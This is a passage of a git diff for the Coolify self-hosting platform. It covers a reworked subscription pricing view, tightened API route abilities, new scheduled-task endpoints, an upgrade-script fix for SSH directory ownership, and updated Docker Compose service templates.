-
- Payment frequency
-
-
- Monthly
-
-
-
- Annually (save ~20%)
-
-
+
+ {{-- Frequency Toggle --}}
+
+
+ Payment frequency
+
+
+ Monthly
+
+
+
+ Annually (save ~20%)
+
+
+
+
+
+ {{-- Plan Header + Pricing --}}
+
Pay-as-you-go
+
Dynamic pricing based on the number of servers you connect.
+
+
+
+ $5
+ / mo base
+
+
+ $4
+ / mo base
+
-
-
-
-
Pay-as-you-go
-
- Dynamic pricing based on the number of servers you connect.
-
-
-
- $5
- base price
-
+
+
+ + $3 per additional server, billed monthly (+VAT)
+
+
+ + $2.7 per additional server, billed annually (+VAT)
+
+
-
- $4
- base price
-
-
-
-
- $3
- per additional servers billed monthly (+VAT)
-
+ {{-- Subscribe Button --}}
+
+
+ Subscribe
+
+
+ Subscribe
+
+
-
- $2.7
- per additional servers billed annually (+VAT)
-
-
-
-
-
-
-
+ {{-- Features --}}
+
+
+
+
+
+
+ Connect unlimited servers
+
+
+
+
+
+ Deploy unlimited applications per server
+
+
+
+
+
+ Free email notifications
+
+
+
+
+
+ Support by email
+
+
+
+
+
+
+ + All Upcoming Features
+
+
+
-
-
- You need to bring your own servers from any cloud provider (such as
Hetzner , DigitalOcean, AWS,
- etc.)
-
-
-
-
-
-
- Subscribe
-
-
- Subscribe
-
-
-
-
-
-
-
- Connect
- unlimited servers
-
-
-
-
-
- Deploy
- unlimited applications per server
-
-
-
-
-
- Free email notifications
-
-
-
-
-
- Support by email
-
-
-
-
-
-
-
-
- + All Upcoming Features
-
-
-
-
-
-
-
-
- Do you require official support for your self-hosted instance?Contact Us
-
-
-
-
+ {{-- BYOS Notice + Support --}}
+
+
You need to bring your own servers from any cloud provider (Hetzner , DigitalOcean, AWS, etc.) or connect any device running a supported OS .
+
Need official support for your self-hosted instance? Contact Us
diff --git a/resources/views/livewire/subscription/show.blade.php b/resources/views/livewire/subscription/show.blade.php
index 2fb4b1191..955beb33f 100644
--- a/resources/views/livewire/subscription/show.blade.php
+++ b/resources/views/livewire/subscription/show.blade.php
@@ -3,6 +3,6 @@
Subscription | Coolify
Subscription
-
Here you can see and manage your subscription.
+
Manage your plan, billing, and server limits.
diff --git a/routes/api.php b/routes/api.php
index 8ff1fd1cc..ffa4b29b9 100644
--- a/routes/api.php
+++ b/routes/api.php
@@ -9,6 +9,7 @@
use App\Http\Controllers\Api\OtherController;
use App\Http\Controllers\Api\ProjectController;
use App\Http\Controllers\Api\ResourcesController;
+use App\Http\Controllers\Api\ScheduledTasksController;
use App\Http\Controllers\Api\SecurityController;
use App\Http\Controllers\Api\ServersController;
use App\Http\Controllers\Api\ServicesController;
@@ -54,7 +55,7 @@
Route::post('/projects/{uuid}/environments', [ProjectController::class, 'create_environment'])->middleware(['api.ability:write']);
Route::delete('/projects/{uuid}/environments/{environment_name_or_uuid}', [ProjectController::class, 'delete_environment'])->middleware(['api.ability:write']);
- Route::post('/projects', [ProjectController::class, 'create_project'])->middleware(['api.ability:read']);
+ Route::post('/projects', [ProjectController::class, 'create_project'])->middleware(['api.ability:write']);
Route::patch('/projects/{uuid}', [ProjectController::class, 'update_project'])->middleware(['api.ability:write']);
Route::delete('/projects/{uuid}', [ProjectController::class, 'delete_project'])->middleware(['api.ability:write']);
@@ -85,7 +86,7 @@
Route::get('/servers/{uuid}/validate', [ServersController::class, 'validate_server'])->middleware(['api.ability:read']);
- Route::post('/servers', [ServersController::class, 'create_server'])->middleware(['api.ability:read']);
+ Route::post('/servers', [ServersController::class, 'create_server'])->middleware(['api.ability:write']);
Route::patch('/servers/{uuid}', [ServersController::class, 'update_server'])->middleware(['api.ability:write']);
Route::delete('/servers/{uuid}', [ServersController::class, 'delete_server'])->middleware(['api.ability:write']);
@@ -106,7 +107,7 @@
/**
* @deprecated Use POST /api/v1/services instead. This endpoint creates a Service, not an Application and is a unstable duplicate of POST /api/v1/services.
- */
+ */
Route::post('/applications/dockercompose', [ApplicationsController::class, 'create_dockercompose_application'])->middleware(['api.ability:write']);
Route::get('/applications/{uuid}', [ApplicationsController::class, 'application_by_uuid'])->middleware(['api.ability:read']);
@@ -120,9 +121,9 @@
Route::delete('/applications/{uuid}/envs/{env_uuid}', [ApplicationsController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']);
Route::get('/applications/{uuid}/logs', [ApplicationsController::class, 'logs_by_uuid'])->middleware(['api.ability:read']);
- Route::match(['get', 'post'], '/applications/{uuid}/start', [ApplicationsController::class, 'action_deploy'])->middleware(['api.ability:write']);
- Route::match(['get', 'post'], '/applications/{uuid}/restart', [ApplicationsController::class, 'action_restart'])->middleware(['api.ability:write']);
- Route::match(['get', 'post'], '/applications/{uuid}/stop', [ApplicationsController::class, 'action_stop'])->middleware(['api.ability:write']);
+ Route::match(['get', 'post'], '/applications/{uuid}/start', [ApplicationsController::class, 'action_deploy'])->middleware(['api.ability:deploy']);
+ Route::match(['get', 'post'], '/applications/{uuid}/restart', [ApplicationsController::class, 'action_restart'])->middleware(['api.ability:deploy']);
+ Route::match(['get', 'post'], '/applications/{uuid}/stop', [ApplicationsController::class, 'action_stop'])->middleware(['api.ability:deploy']);
Route::get('/github-apps', [GithubController::class, 'list_github_apps'])->middleware(['api.ability:read']);
Route::post('/github-apps', [GithubController::class, 'create_github_app'])->middleware(['api.ability:write']);
@@ -151,9 +152,9 @@
Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}', [DatabasesController::class, 'delete_backup_by_uuid'])->middleware(['api.ability:write']);
Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}/executions/{execution_uuid}', [DatabasesController::class, 'delete_execution_by_uuid'])->middleware(['api.ability:write']);
- Route::match(['get', 'post'], '/databases/{uuid}/start', [DatabasesController::class, 'action_deploy'])->middleware(['api.ability:write']);
- Route::match(['get', 'post'], '/databases/{uuid}/restart', [DatabasesController::class, 'action_restart'])->middleware(['api.ability:write']);
- Route::match(['get', 'post'], '/databases/{uuid}/stop', [DatabasesController::class, 'action_stop'])->middleware(['api.ability:write']);
+ Route::match(['get', 'post'], '/databases/{uuid}/start', [DatabasesController::class, 'action_deploy'])->middleware(['api.ability:deploy']);
+ Route::match(['get', 'post'], '/databases/{uuid}/restart', [DatabasesController::class, 'action_restart'])->middleware(['api.ability:deploy']);
+ Route::match(['get', 'post'], '/databases/{uuid}/stop', [DatabasesController::class, 'action_stop'])->middleware(['api.ability:deploy']);
Route::get('/services', [ServicesController::class, 'services'])->middleware(['api.ability:read']);
Route::post('/services', [ServicesController::class, 'create_service'])->middleware(['api.ability:write']);
@@ -168,9 +169,21 @@
Route::patch('/services/{uuid}/envs', [ServicesController::class, 'update_env_by_uuid'])->middleware(['api.ability:write']);
Route::delete('/services/{uuid}/envs/{env_uuid}', [ServicesController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']);
- Route::match(['get', 'post'], '/services/{uuid}/start', [ServicesController::class, 'action_deploy'])->middleware(['api.ability:write']);
- Route::match(['get', 'post'], '/services/{uuid}/restart', [ServicesController::class, 'action_restart'])->middleware(['api.ability:write']);
- Route::match(['get', 'post'], '/services/{uuid}/stop', [ServicesController::class, 'action_stop'])->middleware(['api.ability:write']);
+ Route::match(['get', 'post'], '/services/{uuid}/start', [ServicesController::class, 'action_deploy'])->middleware(['api.ability:deploy']);
+ Route::match(['get', 'post'], '/services/{uuid}/restart', [ServicesController::class, 'action_restart'])->middleware(['api.ability:deploy']);
+ Route::match(['get', 'post'], '/services/{uuid}/stop', [ServicesController::class, 'action_stop'])->middleware(['api.ability:deploy']);
+
+ Route::get('/applications/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'scheduled_tasks_by_application_uuid'])->middleware(['api.ability:read']);
+ Route::post('/applications/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'create_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']);
+ Route::patch('/applications/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'update_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']);
+ Route::delete('/applications/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'delete_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']);
+ Route::get('/applications/{uuid}/scheduled-tasks/{task_uuid}/executions', [ScheduledTasksController::class, 'executions_by_application_uuid'])->middleware(['api.ability:read']);
+
+ Route::get('/services/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'scheduled_tasks_by_service_uuid'])->middleware(['api.ability:read']);
+ Route::post('/services/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'create_scheduled_task_by_service_uuid'])->middleware(['api.ability:write']);
+ Route::patch('/services/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'update_scheduled_task_by_service_uuid'])->middleware(['api.ability:write']);
+ Route::delete('/services/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'delete_scheduled_task_by_service_uuid'])->middleware(['api.ability:write']);
+ Route::get('/services/{uuid}/scheduled-tasks/{task_uuid}/executions', [ScheduledTasksController::class, 'executions_by_service_uuid'])->middleware(['api.ability:read']);
});
Route::group([
diff --git a/routes/web.php b/routes/web.php
index e8c738b71..b6c6c95ce 100644
--- a/routes/web.php
+++ b/routes/web.php
@@ -62,6 +62,7 @@
use App\Livewire\Server\Swarm as ServerSwarm;
use App\Livewire\Settings\Advanced as SettingsAdvanced;
use App\Livewire\Settings\Index as SettingsIndex;
+use App\Livewire\Settings\ScheduledJobs as SettingsScheduledJobs;
use App\Livewire\Settings\Updates as SettingsUpdates;
use App\Livewire\SettingsBackup;
use App\Livewire\SettingsEmail;
@@ -119,6 +120,7 @@
Route::get('/settings/backup', SettingsBackup::class)->name('settings.backup');
Route::get('/settings/email', SettingsEmail::class)->name('settings.email');
Route::get('/settings/oauth', SettingsOauth::class)->name('settings.oauth');
+ Route::get('/settings/scheduled-jobs', SettingsScheduledJobs::class)->name('settings.scheduled-jobs');
Route::get('/profile', ProfileIndex::class)->name('profile');
diff --git a/scripts/upgrade.sh b/scripts/upgrade.sh
index 648849d5c..f32db9b8d 100644
--- a/scripts/upgrade.sh
+++ b/scripts/upgrade.sh
@@ -141,6 +141,15 @@ else
log "Network 'coolify' already exists"
fi
+# Fix SSH directory ownership if not owned by container user UID 9999 (fixes #6621)
+# Only changes owner — preserves existing group to respect custom setups
+SSH_OWNER=$(stat -c '%u' /data/coolify/ssh 2>/dev/null || echo "unknown")
+if [ "$SSH_OWNER" != "9999" ]; then
+ log "Fixing SSH directory ownership (was owned by UID $SSH_OWNER)"
+ chown -R 9999 /data/coolify/ssh
+ chmod -R 700 /data/coolify/ssh
+fi
+
# Check if Docker config file exists
DOCKER_CONFIG_MOUNT=""
if [ -f /root/.docker/config.json ]; then
diff --git a/svgs/cells.svg b/svgs/cells.svg
new file mode 100644
index 000000000..f82e53ec7
--- /dev/null
+++ b/svgs/cells.svg
@@ -0,0 +1,38 @@
+
+
+
+
+
+
+
+
+
+
diff --git a/templates/compose/beszel-agent.yaml b/templates/compose/beszel-agent.yaml
index a318f4702..5d0b4fecc 100644
--- a/templates/compose/beszel-agent.yaml
+++ b/templates/compose/beszel-agent.yaml
@@ -6,13 +6,26 @@
services:
beszel-agent:
- image: 'henrygd/beszel-agent:0.16.1' # Released on 14 Nov 2025
+ image: 'henrygd/beszel-agent:0.18.4' # Released on 21 Feb 2026
+ network_mode: host # Network stats graphs won't work if agent cannot access host system network stack
environment:
+ # Required
- LISTEN=/beszel_socket/beszel.sock
- - HUB_URL=${HUB_URL?}
- - 'TOKEN=${TOKEN?}'
- - 'KEY=${KEY?}'
+ - HUB_URL=$SERVICE_URL_BESZEL
+ - TOKEN=${TOKEN} # From hub token settings
+ - KEY=${KEY} # SSH public key(s) from hub
+ # Optional
+ - DISABLE_SSH=${DISABLE_SSH:-false} # Disable SSH
+ - LOG_LEVEL=${LOG_LEVEL:-warn} # Logging level
+ - SKIP_GPU=${SKIP_GPU:-false} # Skip GPU monitoring
+ - SYSTEM_NAME=${SYSTEM_NAME} # Custom system name
volumes:
- beszel_agent_data:/var/lib/beszel-agent
- beszel_socket:/beszel_socket
- '/var/run/docker.sock:/var/run/docker.sock:ro'
+ healthcheck:
+ test: ['CMD', '/agent', 'health']
+ interval: 60s
+ timeout: 20s
+ retries: 10
+ start_period: 5s
\ No newline at end of file
diff --git a/templates/compose/beszel.yaml b/templates/compose/beszel.yaml
index cba11e4bb..bc68c1825 100644
--- a/templates/compose/beszel.yaml
+++ b/templates/compose/beszel.yaml
@@ -9,21 +9,41 @@
# Add the public Key in "Key" env variable and token in the "Token" variable below (These are obtained from Beszel UI)
services:
beszel:
- image: 'henrygd/beszel:0.16.1' # Released on 14 Nov 2025
+ image: 'henrygd/beszel:0.18.4' # Released on 21 Feb 2026
environment:
- SERVICE_URL_BESZEL_8090
+ - CONTAINER_DETAILS=${CONTAINER_DETAILS:-true}
+ - SHARE_ALL_SYSTEMS=${SHARE_ALL_SYSTEMS:-false}
volumes:
- 'beszel_data:/beszel_data'
- 'beszel_socket:/beszel_socket'
+ healthcheck:
+ test: ['CMD', '/beszel', 'health', '--url', 'http://localhost:8090']
+ interval: 30s
+ timeout: 20s
+ retries: 10
+ start_period: 5s
beszel-agent:
- image: 'henrygd/beszel-agent:0.16.1' # Released on 14 Nov 2025
+ image: 'henrygd/beszel-agent:0.18.4' # Released on 21 Feb 2026
+ network_mode: host # Network stats graphs won't work if agent cannot access host system network stack
environment:
+ # Required
- LISTEN=/beszel_socket/beszel.sock
- - HUB_URL=http://beszel:8090
- - 'TOKEN=${TOKEN}'
- - 'KEY=${KEY}'
+ - HUB_URL=$SERVICE_URL_BESZEL
+ - TOKEN=${TOKEN} # From hub token settings
+ - KEY=${KEY} # SSH public key(s) from hub
+ # Optional
+ - DISABLE_SSH=${DISABLE_SSH:-false} # Disable SSH
+ - LOG_LEVEL=${LOG_LEVEL:-warn} # Logging level
+ - SKIP_GPU=${SKIP_GPU:-false} # Skip GPU monitoring
+ - SYSTEM_NAME=${SYSTEM_NAME} # Custom system name
volumes:
- beszel_agent_data:/var/lib/beszel-agent
- beszel_socket:/beszel_socket
- '/var/run/docker.sock:/var/run/docker.sock:ro'
-
+ healthcheck:
+ test: ['CMD', '/agent', 'health']
+ interval: 60s
+ timeout: 20s
+ retries: 10
+ start_period: 5s
\ No newline at end of file
diff --git a/templates/compose/cloudreve.yaml b/templates/compose/cloudreve.yaml
index 39ea8181f..88a2d2109 100644
--- a/templates/compose/cloudreve.yaml
+++ b/templates/compose/cloudreve.yaml
@@ -38,7 +38,7 @@ services:
- POSTGRES_PASSWORD=${SERVICE_PASSWORD_POSTGRES}
- POSTGRES_DB=${POSTGRES_DB:-cloudreve-db}
volumes:
- - postgres-data:/var/lib/postgresql/data
+ - postgres-data:/var/lib/postgresql
healthcheck:
test: ["CMD-SHELL", "pg_isready -U $${POSTGRES_USER} -d $${POSTGRES_DB}"]
interval: 10s
diff --git a/templates/compose/ente-photos.yaml b/templates/compose/ente-photos.yaml
index effeeeb4a..b684c5380 100644
--- a/templates/compose/ente-photos.yaml
+++ b/templates/compose/ente-photos.yaml
@@ -16,6 +16,7 @@ services:
- ENTE_APPS_PUBLIC_ALBUMS=${SERVICE_URL_WEB_3002}
- ENTE_APPS_CAST=${SERVICE_URL_WEB_3004}
- ENTE_APPS_ACCOUNTS=${SERVICE_URL_WEB_3001}
+ - ENTE_PHOTOS_ORIGIN=${SERVICE_URL_WEB}
- ENTE_DB_HOST=${ENTE_DB_HOST:-postgres}
- ENTE_DB_PORT=${ENTE_DB_PORT:-5432}
diff --git a/templates/compose/glitchtip.yaml b/templates/compose/glitchtip.yaml
index 3e86d813a..5f239daee 100644
--- a/templates/compose/glitchtip.yaml
+++ b/templates/compose/glitchtip.yaml
@@ -1,9 +1,9 @@
# documentation: https://glitchtip.com
-# slogan: GlitchTip is a self-hosted, open-source error tracking system.
+# slogan: GlitchTip is a error tracking system.
# category: monitoring
-# tags: error, tracking, open-source, self-hosted, sentry
+# tags: error, tracking, sentry
# logo: svgs/glitchtip.png
-# port: 8080
+# port: 8000
services:
postgres:
@@ -29,14 +29,14 @@ services:
retries: 10
web:
- image: glitchtip/glitchtip
+ image: glitchtip/glitchtip:6.0
depends_on:
postgres:
condition: service_healthy
redis:
condition: service_healthy
environment:
- - SERVICE_URL_GLITCHTIP_8080
+ - SERVICE_URL_GLITCHTIP_8000
- DATABASE_URL=postgres://$SERVICE_USER_POSTGRESQL:$SERVICE_PASSWORD_POSTGRESQL@postgres:5432/${POSTGRESQL_DATABASE:-glitchtip}
- SECRET_KEY=$SERVICE_BASE64_64_ENCRYPTION
- EMAIL_URL=${EMAIL_URL:-consolemail://}
@@ -53,7 +53,7 @@ services:
retries: 10
worker:
- image: glitchtip/glitchtip
+ image: glitchtip/glitchtip:6.0
command: ./bin/run-celery-with-beat.sh
depends_on:
postgres:
@@ -77,7 +77,7 @@ services:
retries: 10
migrate:
- image: glitchtip/glitchtip
+ image: glitchtip/glitchtip:6.0
restart: "no"
depends_on:
postgres:
diff --git a/templates/compose/grist.yaml b/templates/compose/grist.yaml
index 89f1692b1..584d50872 100644
--- a/templates/compose/grist.yaml
+++ b/templates/compose/grist.yaml
@@ -3,16 +3,16 @@
# category: productivity
# tags: lowcode, nocode, spreadsheet, database, relational
# logo: svgs/grist.svg
-# port: 443
+# port: 8484
services:
grist:
image: gristlabs/grist:latest
environment:
- - SERVICE_URL_GRIST_443
+ - SERVICE_URL_GRIST_8484
- APP_HOME_URL=${SERVICE_URL_GRIST}
- APP_DOC_URL=${SERVICE_URL_GRIST}
- - GRIST_DOMAIN=${SERVICE_URL_GRIST}
+ - GRIST_DOMAIN=${SERVICE_FQDN_GRIST}
- TZ=${TZ:-UTC}
- GRIST_SUPPORT_ANON=${SUPPORT_ANON:-false}
- GRIST_FORCE_LOGIN=${FORCE_LOGIN:-true}
@@ -20,7 +20,7 @@ services:
- GRIST_PAGE_TITLE_SUFFIX=${PAGE_TITLE_SUFFIX:- - Suffix}
- GRIST_HIDE_UI_ELEMENTS=${HIDE_UI_ELEMENTS:-billing,sendToDrive,supportGrist,multiAccounts,tutorials}
- GRIST_UI_FEATURES=${UI_FEATURES:-helpCenter,billing,templates,createSite,multiSite,sendToDrive,tutorials,supportGrist}
- - GRIST_DEFAULT_EMAIL=${DEFAULT_EMAIL:-test@example.com}
+ - GRIST_DEFAULT_EMAIL=${DEFAULT_EMAIL:-?}
- GRIST_ORG_IN_PATH=${ORG_IN_PATH:-true}
- GRIST_OIDC_SP_HOST=${SERVICE_URL_GRIST}
- GRIST_OIDC_IDP_SCOPES=${OIDC_IDP_SCOPES:-openid profile email}
@@ -37,7 +37,7 @@ services:
- TYPEORM_DATABASE=${POSTGRES_DATABASE:-grist-db}
- TYPEORM_USERNAME=${SERVICE_USER_POSTGRES}
- TYPEORM_PASSWORD=${SERVICE_PASSWORD_POSTGRES}
- - TYPEORM_HOST=${TYPEORM_HOST}
+ - TYPEORM_HOST=${TYPEORM_HOST:-postgres}
- TYPEORM_PORT=${TYPEORM_PORT:-5432}
- TYPEORM_LOGGING=${TYPEORM_LOGGING:-false}
- REDIS_URL=${REDIS_URL:-redis://redis:6379}
diff --git a/templates/compose/maybe.yaml b/templates/compose/maybe.yaml
index 27bcbc5a1..1cc738d7e 100644
--- a/templates/compose/maybe.yaml
+++ b/templates/compose/maybe.yaml
@@ -1,3 +1,4 @@
+# ignore: true
# documentation: https://github.com/maybe-finance/maybe
# slogan: Maybe, the OS for your personal finances.
# category: productivity
diff --git a/templates/compose/minio-community-edition.yaml b/templates/compose/minio-community-edition.yaml
index 1143235e5..49a393624 100644
--- a/templates/compose/minio-community-edition.yaml
+++ b/templates/compose/minio-community-edition.yaml
@@ -1,3 +1,4 @@
+# ignore: true
# documentation: https://github.com/coollabsio/minio?tab=readme-ov-file#minio-docker-images
# slogan: MinIO is a high performance object storage server compatible with Amazon S3 APIs.
# category: storage
diff --git a/templates/compose/n8n-with-postgres-and-worker.yaml b/templates/compose/n8n-with-postgres-and-worker.yaml
index e03b38960..d2235e479 100644
--- a/templates/compose/n8n-with-postgres-and-worker.yaml
+++ b/templates/compose/n8n-with-postgres-and-worker.yaml
@@ -7,7 +7,7 @@
services:
n8n:
- image: n8nio/n8n:2.1.5
+ image: n8nio/n8n:2.10.2
environment:
- SERVICE_URL_N8N_5678
- N8N_EDITOR_BASE_URL=${SERVICE_URL_N8N}
@@ -54,7 +54,7 @@ services:
retries: 10
n8n-worker:
- image: n8nio/n8n:2.1.5
+ image: n8nio/n8n:2.10.2
command: worker
environment:
- GENERIC_TIMEZONE=${GENERIC_TIMEZONE:-UTC}
@@ -122,7 +122,7 @@ services:
retries: 10
task-runners:
- image: n8nio/runners:2.1.5
+ image: n8nio/runners:2.10.2
environment:
- N8N_RUNNERS_TASK_BROKER_URI=${N8N_RUNNERS_TASK_BROKER_URI:-http://n8n-worker:5679}
- N8N_RUNNERS_AUTH_TOKEN=$SERVICE_PASSWORD_N8N
diff --git a/templates/compose/n8n-with-postgresql.yaml b/templates/compose/n8n-with-postgresql.yaml
index 0cf58de18..d7096add2 100644
--- a/templates/compose/n8n-with-postgresql.yaml
+++ b/templates/compose/n8n-with-postgresql.yaml
@@ -7,7 +7,7 @@
services:
n8n:
- image: n8nio/n8n:2.1.5
+ image: n8nio/n8n:2.10.2
environment:
- SERVICE_URL_N8N_5678
- N8N_EDITOR_BASE_URL=${SERVICE_URL_N8N}
@@ -47,7 +47,7 @@ services:
retries: 10
task-runners:
- image: n8nio/runners:2.1.5
+ image: n8nio/runners:2.10.2
environment:
- N8N_RUNNERS_TASK_BROKER_URI=${N8N_RUNNERS_TASK_BROKER_URI:-http://n8n:5679}
- N8N_RUNNERS_AUTH_TOKEN=$SERVICE_PASSWORD_N8N
diff --git a/templates/compose/n8n.yaml b/templates/compose/n8n.yaml
index d45cf1465..ff5ee90b2 100644
--- a/templates/compose/n8n.yaml
+++ b/templates/compose/n8n.yaml
@@ -7,7 +7,7 @@
services:
n8n:
- image: n8nio/n8n:2.1.5
+ image: n8nio/n8n:2.10.2
environment:
- SERVICE_URL_N8N_5678
- N8N_EDITOR_BASE_URL=${SERVICE_URL_N8N}
@@ -38,7 +38,7 @@ services:
retries: 10
task-runners:
- image: n8nio/runners:2.1.5
+ image: n8nio/runners:2.10.2
environment:
- N8N_RUNNERS_TASK_BROKER_URI=${N8N_RUNNERS_TASK_BROKER_URI:-http://n8n:5679}
- N8N_RUNNERS_AUTH_TOKEN=${SERVICE_PASSWORD_N8N}
diff --git a/templates/compose/plane.yaml b/templates/compose/plane.yaml
index bc2fbd637..346b0c664 100644
--- a/templates/compose/plane.yaml
+++ b/templates/compose/plane.yaml
@@ -1,3 +1,4 @@
+# ignore: true
# documentation: https://docs.plane.so/self-hosting/methods/docker-compose
# slogan: The open source project management tool
# category: productivity
diff --git a/templates/compose/pterodactyl-panel.yaml b/templates/compose/pterodactyl-panel.yaml
index 9a3f6c779..c86d9d468 100644
--- a/templates/compose/pterodactyl-panel.yaml
+++ b/templates/compose/pterodactyl-panel.yaml
@@ -1,3 +1,4 @@
+# ignore: true
# documentation: https://pterodactyl.io/
# slogan: Pterodactyl is a free, open-source game server management panel
# category: media
@@ -102,4 +103,4 @@ services:
- MAIL_PORT=$MAIL_PORT
- MAIL_USERNAME=$MAIL_USERNAME
- MAIL_PASSWORD=$MAIL_PASSWORD
- - MAIL_ENCRYPTION=$MAIL_ENCRYPTION
+ - MAIL_ENCRYPTION=$MAIL_ENCRYPTION
\ No newline at end of file
diff --git a/templates/compose/pterodactyl-with-wings.yaml b/templates/compose/pterodactyl-with-wings.yaml
index 6e1e3614c..20465a139 100644
--- a/templates/compose/pterodactyl-with-wings.yaml
+++ b/templates/compose/pterodactyl-with-wings.yaml
@@ -1,3 +1,4 @@
+# ignore: true
# documentation: https://pterodactyl.io/
# slogan: Pterodactyl is a free, open-source game server management panel
# category: media
diff --git a/templates/compose/pydio-cells.yml b/templates/compose/pydio-cells.yml
new file mode 100644
index 000000000..77a24a533
--- /dev/null
+++ b/templates/compose/pydio-cells.yml
@@ -0,0 +1,33 @@
+# documentation: https://docs.pydio.com/
+# slogan: High-performance large file sharing, native no-code automation, and a collaboration-centric architecture that simplifies access control without compromising security or compliance.
+# tags: storage
+# logo: svgs/cells.svg
+# port: 8080
+
+services:
+ cells:
+ image: pydio/cells:4.4
+ environment:
+ - SERVICE_URL_CELLS_8080
+ - CELLS_SITE_EXTERNAL=${SERVICE_URL_CELLS}
+ - CELLS_SITE_NO_TLS=1
+ volumes:
+ - cells_data:/var/cells
+ mariadb:
+ image: 'mariadb:11'
+ volumes:
+ - mysql_data:/var/lib/mysql
+ environment:
+ - MYSQL_ROOT_PASSWORD=${SERVICE_PASSWORD_MYSQLROOT}
+ - MYSQL_DATABASE=${MYSQL_DATABASE:-cells}
+ - MYSQL_USER=${SERVICE_USER_MYSQL}
+ - MYSQL_PASSWORD=${SERVICE_PASSWORD_MYSQL}
+ healthcheck:
+ test:
+ - CMD
+ - healthcheck.sh
+ - '--connect'
+ - '--innodb_initialized'
+ interval: 10s
+ timeout: 20s
+ retries: 5
diff --git a/templates/compose/spacebot.yaml b/templates/compose/spacebot.yaml
new file mode 100644
index 000000000..2ecfdacd6
--- /dev/null
+++ b/templates/compose/spacebot.yaml
@@ -0,0 +1,31 @@
+# documentation: https://docs.spacebot.sh/docker
+# slogan: An agentic AI system with specialized processes for thinking, working, and remembering.
+# category: ai
+# tags: ai, agent, anthropic, openai, discord, slack, llm, agentic
+# logo: svgs/spacebot.png
+# port: 19898
+
+services:
+ spacebot:
+ image: "ghcr.io/spacedriveapp/spacebot:full"
+ environment:
+ - SERVICE_FQDN_SPACEBOT_19898
+ - ANTHROPIC_API_KEY=${ANTHROPIC_API_KEY}
+ - OPENAI_API_KEY=${OPENAI_API_KEY}
+ - OPENROUTER_API_KEY=${OPENROUTER_API_KEY}
+ - DISCORD_BOT_TOKEN=${DISCORD_BOT_TOKEN}
+ - SLACK_BOT_TOKEN=${SLACK_BOT_TOKEN}
+ - SLACK_APP_TOKEN=${SLACK_APP_TOKEN}
+ - BRAVE_SEARCH_API_KEY=${BRAVE_SEARCH_API_KEY}
+ - SPACEBOT_CHANNEL_MODEL=${SPACEBOT_CHANNEL_MODEL}
+ - SPACEBOT_WORKER_MODEL=${SPACEBOT_WORKER_MODEL}
+ volumes:
+ - "spacebot-data:/data"
+ security_opt:
+ - seccomp=unconfined
+ shm_size: 1g
+ healthcheck:
+ test: ["CMD", "curl", "-sf", "http://localhost:19898/api/health"]
+ interval: 30s
+ timeout: 5s
+ retries: 3
diff --git a/templates/compose/sure.yaml b/templates/compose/sure.yaml
new file mode 100644
index 000000000..7c72156e3
--- /dev/null
+++ b/templates/compose/sure.yaml
@@ -0,0 +1,93 @@
+# documentation: https://github.com/we-promise/sure
+# slogan: An all-in-one personal finance platform.
+# category: finance
+# tags: budgeting,budget,money,expenses,income
+# logo: svgs/sure.png
+# port: 3000
+
+services:
+ web:
+ image: ghcr.io/we-promise/sure:0.6.7
+ environment:
+ - SERVICE_URL_SURE_3000
+ - APP_DOMAIN=$SERVICE_FQDN_SURE
+ - SECRET_KEY_BASE=$SERVICE_BASE64_BASE
+ - POSTGRES_USER=${SERVICE_USER_POSTGRESQL}
+ - POSTGRES_PASSWORD=${SERVICE_PASSWORD_POSTGRESQL}
+ - POSTGRES_DB=${POSTGRESQL_DATABASE:-sure}
+ - 'REDIS_URL=redis://valkey:6379'
+ - DB_HOST=postgresql
+ - DB_PORT=5432
+ - 'SELF_HOSTED=true'
+ - 'RAILS_FORCE_SSL=false'
+ - 'RAILS_ASSUME_SSL=false'
+ - ONBOARDING_STATE=${ONBOARDING_STATE:-open}
+ depends_on:
+ postgresql:
+ condition: service_healthy
+ valkey:
+ condition: service_healthy
+ volumes:
+ - sure-app-storage:/rails/storage
+ healthcheck:
+ test: ["CMD", "curl", "-f", "http://127.0.0.1:3000"]
+ interval: 15s
+ timeout: 20s
+ retries: 5
+
+ worker:
+ image: ghcr.io/we-promise/sure:0.6.7
+ command: bundle exec sidekiq
+ environment:
+ - APP_DOMAIN=$SERVICE_FQDN_SURE
+ - SECRET_KEY_BASE=$SERVICE_BASE64_BASE
+ - POSTGRES_USER=${SERVICE_USER_POSTGRESQL}
+ - POSTGRES_PASSWORD=${SERVICE_PASSWORD_POSTGRESQL}
+ - POSTGRES_DB=${POSTGRESQL_DATABASE:-sure}
+ - 'REDIS_URL=redis://valkey:6379'
+ - DB_HOST=postgresql
+ - DB_PORT=5432
+ - 'SELF_HOSTED=true'
+ - 'RAILS_FORCE_SSL=false'
+ - 'RAILS_ASSUME_SSL=false'
+ - ONBOARDING_STATE=${ONBOARDING_STATE:-open}
+ volumes:
+ - sure-app-storage:/rails/storage
+ depends_on:
+ postgresql:
+ condition: service_healthy
+ valkey:
+ condition: service_healthy
+ healthcheck:
+ test: ["CMD", "curl", "-f", "http://127.0.0.1:3000"]
+ interval: 15s
+ timeout: 20s
+ retries: 5
+
+ postgresql:
+ image: postgres:16-alpine
+ volumes:
+ - sure-postgresql-data:/var/lib/postgresql/data
+ environment:
+ - POSTGRES_USER=${SERVICE_USER_POSTGRESQL}
+ - POSTGRES_PASSWORD=${SERVICE_PASSWORD_POSTGRESQL}
+ - POSTGRES_DB=${POSTGRESQL_DATABASE:-sure}
+ healthcheck:
+ test: ["CMD-SHELL", "pg_isready -U $${POSTGRES_USER} -d $${POSTGRES_DB}"]
+ interval: 5s
+ timeout: 20s
+ retries: 10
+
+ valkey:
+ image: valkey/valkey:8-alpine
+ command: valkey-server --appendonly yes
+ volumes:
+ - sure-valkey:/data
+ healthcheck:
+ test:
